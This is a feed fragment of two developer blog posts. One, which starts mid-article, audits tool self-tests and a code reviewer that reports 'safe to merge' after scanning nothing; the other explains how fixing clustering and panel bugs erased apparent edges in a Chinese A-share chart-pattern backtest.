&lt;li&gt;5 packages "failed"&lt;/li&gt;
&lt;li&gt;17 packages had no self-test at all&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The five failures looked like this (output is Chinese, I'll translate):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;FAKE(2) license-compliance-checker :: 错误: not a directory: ...\license-compliance-checker\selftest
FAKE(2) meeting-minutes-assistant   :: 找不到文件：selftest
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;error: not a directory: ...\selftest
file not found: selftest
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Those five tools were fine. &lt;strong&gt;My harness was wrong.&lt;/strong&gt; They implement the self-test as a &lt;code&gt;--selftest&lt;/code&gt; flag, not as a positional subcommand. Five working self-tests (30/30, 54/54, 16/16, 40/40, 77/77 assertions) were reported as failures because the invocation contract was never part of the contract.&lt;/p&gt;

&lt;p&gt;That's a false negative. Annoying, but it fails safe — the gate stays closed.&lt;/p&gt;

&lt;h2&gt;
  
  
  The bug that matters: 100/100 for a directory that doesn't exist
&lt;/h2&gt;

&lt;p&gt;One of those five is a code-review tool. Called with a positional argument, it does not complain. It treats the argument as a path:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ python scripts/code_review.py selftest
跳过不存在的路径: selftest
# 代码审查报告
- 审查范围: 0 个文件，0 行
- 发现问题: 0 个（致命 0 / 高 0 / 中 0 / 低 0）
- 健康分: 100/100 — ✅ 可以合并（按低优先级项择机清理）
EXIT=0
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;skipped nonexistent path: selftest
# Code review report
- scope: 0 files, 0 lines
- findings: 0 (critical 0 / high 0 / medium 0 / low 0)
- health score: 100/100 — ✅ safe to merge
EXIT=0
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Read that again. The tool skipped a path that doesn't exist, scanned zero files, handed out a perfect score and the string "safe to merge", and returned success.&lt;/p&gt;

&lt;p&gt;Its actual &lt;code&gt;--selftest&lt;/code&gt; works fine — 54 assertions, 38 rules, 23 of them firing on dirty samples. The bug only shows up in scan mode, and only when the input is empty, missing or malformed. Which is exactly the state a path variable is in when a shell glob expands to nothing, a CI job runs on a docs-only diff, or an agent passes the wrong parameter name.&lt;/p&gt;

&lt;p&gt;Now imagine the two ways this gets wired up:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;code_review.py --selftest &amp;amp;&amp;amp; deploy&lt;/code&gt; — fine.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;code_review.py $CHANGED_FILES&lt;/code&gt; — with &lt;code&gt;$CHANGED_FILES&lt;/code&gt; empty, you get "100/100, safe to merge" on a diff nobody looked at, green pipeline, exit 0.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;And if there's an LLM agent on top reading that output, it will faithfully report "review passed." Not because the model is sloppy — because the tool lied first.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;"Nothing wrong" and "nothing examined" are not the same result, and a tool that returns the same status for both cannot be part of a gate.&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  What the audit measured, precisely
&lt;/h2&gt;

&lt;p&gt;Across 34 packages:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;self-test contract&lt;/th&gt;
&lt;th&gt;packages&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;--selftest&lt;/code&gt; flag&lt;/td&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;selftest&lt;/code&gt; positional subcommand&lt;/td&gt;
&lt;td&gt;12&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;no self-test&lt;/td&gt;
&lt;td&gt;17&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Two conventions in one folder. Any harness that guesses will produce false negatives (safe) and — the dangerous half — false positives, since a wrong invocation is silently treated as &lt;em&gt;data&lt;/em&gt; rather than as an error. That's not a hypothetical: it's the output above.&lt;/p&gt;

&lt;p&gt;Assertion counts in the 17 that do have a self-test: 129, 85, 77, 71, 54, 44, 44, 40, 30, 26, 21, 19, 18, 16, 15, 12, plus one boolean PASS. About 700 assertions total, and the useful ones are all two-sided:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;positive cases&lt;/strong&gt; — the check fires on a known-bad sample&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;negative cases&lt;/strong&gt; — the check stays silent on a known-good sample&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Without the second half, a linter that flags everything looks perfect. Without the first half, a linter that flags nothing looks perfect. Exit-code-only gates cannot tell those apart.&lt;/p&gt;

&lt;p&gt;Concrete, from the 129-assertion SQL inspector:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;DROP TABLE&lt;/code&gt; is a finding; &lt;code&gt;DROP TABLE IF EXISTS&lt;/code&gt; is not.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;'no where clause here'&lt;/code&gt; inside a string literal is not a missing WHERE clause.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;SELECT *&lt;/code&gt; inside a comment is not a finding.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;os.environ["DB_PASSWORD"]&lt;/code&gt; is not a hardcoded credential; a literal password is.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;BEGIN ... END&lt;/code&gt; in a PL/pgSQL function body is not an unclosed transaction.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Every one of those negative cases exists because the naive version of the rule got it wrong first.&lt;/p&gt;




&lt;h2&gt;
  
  
  Five rules for a gate that can't lie
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Assert on work done, not on exit status.&lt;/strong&gt; Zero files scanned, zero rules run, zero tokens in — all need a distinct non-success status. "No input" ≠ "input clean."&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;One documented self-test command per package.&lt;/strong&gt; Write the exact command in the package's &lt;code&gt;SKILL.md&lt;/code&gt;, and have the harness read it from metadata instead of pattern-matching the source. Guessing is how you get the false negative; silent acceptance is how you get the false positive.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Break an assertion on purpose.&lt;/strong&gt; A self-test nobody has seen fail is a print statement. Delete one rule, run the self-test, confirm it exits non-zero. Do this once per release, not once per project.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Every check gets a positive and a negative case.&lt;/strong&gt; One dirty sample, one clean sample, both asserted. This is the difference between a test suite and a smoke test.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The publish/deploy step runs the gate itself and hard-fails.&lt;/strong&gt; My publish scripts run the self-test before zipping and refuse on a non-zero exit; the numbers and the exact commands are recorded in an &lt;code&gt;evaluation_cases.md&lt;/code&gt; next to the source. A gate that trusts a previous run's report is not a gate.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;And one more, because it's the failure mode I keep hitting: &lt;strong&gt;state what the tool does not do.&lt;/strong&gt; The review tool prints "static rules can only disprove, not prove — still verify permissions, concurrency and money precision by hand." That sentence is the most honest thing in the package. A gate that doesn't declare its blind spots gets trusted for them.&lt;/p&gt;




&lt;h2&gt;
  
  
  The remaining 17
&lt;/h2&gt;

&lt;p&gt;Adding self-tests to them is mechanical now — the templates exist, and the ones already done took about an hour of real assertions each, not real research. I'm starting with the packages that get wired into automation, because a missing self-test in a package nobody runs is a backlog item, while a zero-input success path in a pre-commit hook is an incident waiting for a quiet Friday.&lt;/p&gt;

&lt;p&gt;If you maintain skills, MCP servers, or CLI wrappers that agents call: the highest-value 30 minutes you can spend today is running your tool with an empty input and reading what it says. If it says "safe," "passed," or "0 issues," you've found the bug.&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Where this stuff lives&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Write-ups and tool notes: &lt;a href="https://github.com/Felixwang007/awesome-content-tools" rel="noopener noreferrer"&gt;https://github.com/Felixwang007/awesome-content-tools&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Supply-chain audit for agent tooling (5 static checks to run &lt;em&gt;before&lt;/em&gt; installing the trending repo): &lt;a href="https://github.com/Felixwang007/agent-supply-chain-audit" rel="noopener noreferrer"&gt;https://github.com/Felixwang007/agent-supply-chain-audit&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;The packaged skills, if you'd rather grab them than build them: &lt;a href="https://xiaping.coze.com" rel="noopener noreferrer"&gt;https://xiaping.coze.com&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you've hit a zero-input success path in a tool you rely on, I'd like the exact output — that's the most useful kind of bug report.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>python</category>
      <category>opensource</category>
      <category>stocks</category>
    </item>
    <item>
      <title>I Fixed Two Bugs in My A-Share Backtest. 47x of the Edge Vanished, and Every 'Buy' Pattern Went Negative</title>
      <dc:creator>Felixwang007</dc:creator>
      <pubDate>Thu, 24 Sep 2026 12:57:59 +0000</pubDate>
      <link>https://dev.to/felixwang007/i-fixed-two-bugs-in-my-a-share-backtest-47x-of-the-edge-vanished-and-every-buy-pattern-went-1hod</link>
      <guid>https://dev.to/felixwang007/i-fixed-two-bugs-in-my-a-share-backtest-47x-of-the-edge-vanished-and-every-buy-pattern-went-1hod</guid>
      <description>&lt;p&gt;&lt;strong&gt;TL;DR&lt;/strong&gt; — I rebuilt my Chinese A-share signal study on &lt;strong&gt;3,145 main-board stocks × 622&lt;br&gt;
trading days (2024-01-26 → 2026-09-18) = 904,775 pattern-labelled stock-days&lt;/strong&gt;, using free&lt;br&gt;
data. Two measurement bugs were inflating the results. After fixing them, &lt;strong&gt;none of the six&lt;br&gt;
classic chart patterns beat the equal-weight universe.&lt;/strong&gt; The only statistically solid&lt;br&gt;
signals left were the two &lt;em&gt;avoidance&lt;/em&gt; ones.&lt;/p&gt;

&lt;p&gt;This is the follow-up to &lt;a href="https://dev.to/felixwang007/i-backtested-volume-confirmation-on-15900-real-a-share-stock-days-it-flipped-sign-between-two-977"&gt;my earlier volume study&lt;/a&gt;&lt;br&gt;
that flipped sign between two consecutive months. Same rule: publish the number even when&lt;br&gt;
it kills the story I wanted to tell.&lt;/p&gt;
&lt;h2&gt;
  
  
  What I built
&lt;/h2&gt;

&lt;p&gt;Data: daily K-lines for 3,145 Shanghai/Shenzhen main-board names, pulled from Tencent's free&lt;br&gt;
endpoint — no key, no vendor, ~0.2 s per stock:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://web.ifzq.gtimg.cn/appstock/app/fqkline/get?param=sh600000,day,,,640,qfq
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Six patterns, each defined by measurable conditions (not by the name a newsletter gives it):&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;pattern&lt;/th&gt;
&lt;th&gt;condition&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Breakout+Volume&lt;/td&gt;
&lt;td&gt;close &amp;gt; prior 20-day high &lt;strong&gt;and&lt;/strong&gt; volume ratio ≥ 1.5&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;HighLevelVolumeDrop&lt;/td&gt;
&lt;td&gt;in the top 30% of its 20-day range, day ≤ −3%, volume ratio ≥ 1.3&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;OversoldRebound&lt;/td&gt;
&lt;td&gt;MA5 &amp;lt; MA20, 20-day return ≤ −15%, day &amp;gt; +2%, volume ratio ≥ 1.2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;LowVolPullback&lt;/td&gt;
&lt;td&gt;MA5 &amp;gt; MA20, down day, volume ratio ≤ 0.85&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Uptrend&lt;/td&gt;
&lt;td&gt;MA5 &amp;gt; MA10 &amp;gt; MA20 and close &amp;gt; MA20&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Sideways&lt;/td&gt;
&lt;td&gt;20-day range &amp;lt; 8% and&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Label = forward 5-trading-day return. The rules are ported verbatim from the labelled set I&lt;br&gt;
use to fine-tune my own model, and I checked the port: &lt;strong&gt;5,998 of 6,000 randomly sampled&lt;br&gt;
labelled rows reproduce exactly (99.97%)&lt;/strong&gt;, so the labels here and the labels in the model's&lt;br&gt;
training data agree.&lt;/p&gt;
&lt;h2&gt;
  
  
  Bug #1 — the ragged panel invents market days
&lt;/h2&gt;

&lt;p&gt;Concatenating one file per stock gives &lt;strong&gt;6,487 distinct dates&lt;/strong&gt;. Only &lt;strong&gt;622 of them are real&lt;br&gt;
market days&lt;/strong&gt;; the other 5,870 are phantom "sessions" where one or two stale or delisted&lt;br&gt;
files traded (median 4 rows). Averaging over them moved conclusions a lot:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;pattern            clustered (622 real days)     over all dates incl. phantom
Uptrend            +0.191%   t=+1.47             +0.526%   t=+5.66
LowVolPullback     +0.317%   t=+2.29             +0.546%   t=+5.48
Sideways           +0.322%   t=+3.11             +0.020%   t=+0.28
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;An "uptrend continuation edge" with t=+5.7 turned into t=+1.5 — i.e. nothing — purely from&lt;br&gt;
stale single-name dates. Guard: a date only counts if ≥500 universe members have a defined&lt;br&gt;
20-day MA that day.&lt;/p&gt;
&lt;h2&gt;
  
  
  Bug #2 — one session is not 200 independent samples
&lt;/h2&gt;

&lt;p&gt;This is the bigger one. Stock-days inside a session are highly correlated: a market-wide&lt;br&gt;
bounce lifts hundreds of "oversold rebound" names at once.&lt;/p&gt;

&lt;p&gt;Raw row-level average for oversold-rebound setups on days when &amp;gt;60% of the market was above&lt;br&gt;
its 20-day MA: &lt;strong&gt;+11.35%, 67.8% win rate, 374 rows.&lt;/strong&gt; Same data, one observation per day&lt;br&gt;
instead of one per row: &lt;strong&gt;+0.65%.&lt;/strong&gt; Two sessions carried the whole thing — 2026-07-31&lt;br&gt;
(222 names, +14.25% average) and 2026-08-04 (34 names).&lt;/p&gt;

&lt;p&gt;The fix is five lines:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;per_day&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;rows&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;per_day&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setdefault&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;date&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="p"&gt;[]).&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;fwd5&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;

&lt;span class="n"&gt;day_means&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;statistics&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;fmean&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;per_day&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;values&lt;/span&gt;&lt;span class="p"&gt;()]&lt;/span&gt;
&lt;span class="n"&gt;mean&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;statistics&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;fmean&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;day_means&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;t&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;mean&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;statistics&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;stdev&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;day_means&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;day_means&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt; &lt;span class="mf"&gt;0.5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;   &lt;span class="c1"&gt;# n = DAYS, not rows
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  What survived both fixes
&lt;/h2&gt;

&lt;p&gt;Mean of per-day means, forward 5 days, 2024-01 → 2026-09:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;pattern&lt;/th&gt;
&lt;th&gt;days&lt;/th&gt;
&lt;th&gt;rows&lt;/th&gt;
&lt;th&gt;fwd 5d&lt;/th&gt;
&lt;th&gt;t&lt;/th&gt;
&lt;th&gt;naive row-level mean&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Sideways&lt;/td&gt;
&lt;td&gt;603&lt;/td&gt;
&lt;td&gt;175,338&lt;/td&gt;
&lt;td&gt;+0.322%&lt;/td&gt;
&lt;td&gt;+3.11&lt;/td&gt;
&lt;td&gt;+0.425%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;LowVolPullback&lt;/td&gt;
&lt;td&gt;615&lt;/td&gt;
&lt;td&gt;231,310&lt;/td&gt;
&lt;td&gt;+0.317%&lt;/td&gt;
&lt;td&gt;+2.29&lt;/td&gt;
&lt;td&gt;+0.526%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Uptrend&lt;/td&gt;
&lt;td&gt;617&lt;/td&gt;
&lt;td&gt;401,002&lt;/td&gt;
&lt;td&gt;+0.191%&lt;/td&gt;
&lt;td&gt;+1.47&lt;/td&gt;
&lt;td&gt;+0.362%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;OversoldRebound&lt;/td&gt;
&lt;td&gt;462&lt;/td&gt;
&lt;td&gt;5,934&lt;/td&gt;
&lt;td&gt;+0.033%&lt;/td&gt;
&lt;td&gt;+0.10&lt;/td&gt;
&lt;td&gt;+1.547%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Breakout+Volume&lt;/td&gt;
&lt;td&gt;617&lt;/td&gt;
&lt;td&gt;59,352&lt;/td&gt;
&lt;td&gt;−0.432%&lt;/td&gt;
&lt;td&gt;−2.84&lt;/td&gt;
&lt;td&gt;−0.289%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;HighLevelVolumeDrop&lt;/td&gt;
&lt;td&gt;608&lt;/td&gt;
&lt;td&gt;7,151&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;−1.557%&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;−6.30&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;−1.152%&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Note the last column: the oversold-rebound row-level mean is &lt;strong&gt;47×&lt;/strong&gt; its clustered value.&lt;br&gt;
That 47× is the most common backtest lie on the internet.&lt;/p&gt;
&lt;h2&gt;
  
  
  The test that killed the bullish patterns
&lt;/h2&gt;

&lt;p&gt;A positive raw return does not mean the pattern works — it may just mean the market went up.&lt;br&gt;
So subtract the same-day equal-weight universe return from every row:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;pattern&lt;/th&gt;
&lt;th&gt;excess fwd 5d&lt;/th&gt;
&lt;th&gt;t&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;HighLevelVolumeDrop&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;−1.958%&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;−9.84&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Breakout+Volume&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;−0.843%&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;−8.54&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;OversoldRebound&lt;/td&gt;
&lt;td&gt;−0.361%&lt;/td&gt;
&lt;td&gt;−1.39&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Uptrend&lt;/td&gt;
&lt;td&gt;−0.220%&lt;/td&gt;
&lt;td&gt;−3.95&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;LowVolPullback&lt;/td&gt;
&lt;td&gt;−0.117%&lt;/td&gt;
&lt;td&gt;−2.18&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Sideways&lt;/td&gt;
&lt;td&gt;−0.065%&lt;/td&gt;
&lt;td&gt;−0.94&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Not one bullish pattern beat just holding the basket.&lt;/strong&gt; Every positive number in the&lt;br&gt;
previous table was market beta — including "buy the uptrend" and "buy the pullback". What&lt;br&gt;
survives is only what you should &lt;em&gt;avoid&lt;/em&gt;: a high-level drop on heavy volume, and chasing a&lt;br&gt;
volume breakout.&lt;/p&gt;
&lt;h2&gt;
  
  
  The one filter that did move the needle: breadth
&lt;/h2&gt;

&lt;p&gt;Because beta is the whole game, the market's own breadth is the useful variable. I built a&lt;br&gt;
gauge: share of the universe trading &lt;strong&gt;above its own 20-day MA&lt;/strong&gt;, once per day, from all&lt;br&gt;
3,145 names.&lt;/p&gt;

&lt;p&gt;Using that as a regime filter on the equal-weight universe (next 5 trading days):&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;breadth bucket&lt;/th&gt;
&lt;th&gt;days&lt;/th&gt;
&lt;th&gt;next-5d equal-weight&lt;/th&gt;
&lt;th&gt;t&lt;/th&gt;
&lt;th&gt;up-days&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&amp;lt;20%&lt;/td&gt;
&lt;td&gt;68&lt;/td&gt;
&lt;td&gt;+0.80%&lt;/td&gt;
&lt;td&gt;+2.22&lt;/td&gt;
&lt;td&gt;63.2%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;20-40%&lt;/td&gt;
&lt;td&gt;163&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;−0.50%&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;−1.87&lt;/td&gt;
&lt;td&gt;46.6%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;40-60%&lt;/td&gt;
&lt;td&gt;160&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;+0.93%&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;+3.51&lt;/td&gt;
&lt;td&gt;60.6%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;60-80%&lt;/td&gt;
&lt;td&gt;143&lt;/td&gt;
&lt;td&gt;+0.36%&lt;/td&gt;
&lt;td&gt;+1.86&lt;/td&gt;
&lt;td&gt;58.7%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&amp;gt;80%&lt;/td&gt;
&lt;td&gt;83&lt;/td&gt;
&lt;td&gt;+0.97%&lt;/td&gt;
&lt;td&gt;+2.03&lt;/td&gt;
&lt;td&gt;59.0%&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Both tails are positive; &lt;strong&gt;the dead zone is 20-40%&lt;/strong&gt; — and that is exactly where the market&lt;br&gt;
sat at the end of this sample (&lt;strong&gt;2026-09-18: 32.63% above MA20, 28th percentile of 622&lt;br&gt;
days&lt;/strong&gt;).&lt;/p&gt;

&lt;p&gt;Inside that band, no pattern has positive expectancy:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;breadth 20-40%:  high-level volume drop  -2.92% (t-5.5)
                 breakout + volume       -1.35% (t-4.7)
                 oversold rebound        -1.81% (t-3.4)
                 low-volume pullback     -0.86% (t-3.0)
                 uptrend                 -0.80% (t-3.3)
breadth 40-60%:  low-volume pullback     +0.96% (t+3.5)
                 uptrend                 +0.73% (t+2.8)
                 sideways                +0.76% (t+3.6)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The year split (2024 / 2025 / 2026) keeps the sign of the 40-60% bucket in all three years&lt;br&gt;
(+1.1 / +1.1 / +0.5), so that middle band is not one lucky stretch. The tails move around.&lt;/p&gt;
&lt;h2&gt;
  
  
  How I use this now
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Benchmark against the day's equal-weight return, not against zero.&lt;/strong&gt; Half the "edges"
in retail technical analysis are just exposure.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Cluster before you compute a t-stat.&lt;/strong&gt; If your study has 400 rows but 8 effective days,
you have 8 observations.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Guard the panel.&lt;/strong&gt; A minimum-names-per-day rule catches stale files before they become
"evidence".&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Sell signals are more robust than buy signals here.&lt;/strong&gt; Two of two avoidance patterns
survived with |t| &amp;gt; 6; zero of four bullish ones did.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;
  
  
  Caveats
&lt;/h2&gt;

&lt;p&gt;Main board only (no ChiNext / STAR / BSE), 2024–2026 sample, no transaction costs, no T+1&lt;br&gt;
fill modelling, overlapping 5-day windows (so the t-stats are &lt;em&gt;optimistic&lt;/em&gt;, not&lt;br&gt;
conservative), and I inspected dozens of signal × regime cells — at that count some t≈2&lt;br&gt;
values are noise. Treat this as a measurement lesson, not a trading system.&lt;/p&gt;
&lt;h2&gt;
  
  
  Reproduce it
&lt;/h2&gt;

&lt;p&gt;Everything is one script against free data — no API key:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# one JSON per stock: [{date,open,high,low,close,volume}, ...]&lt;/span&gt;
python breadth_gauge.py path/to/history_ext
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



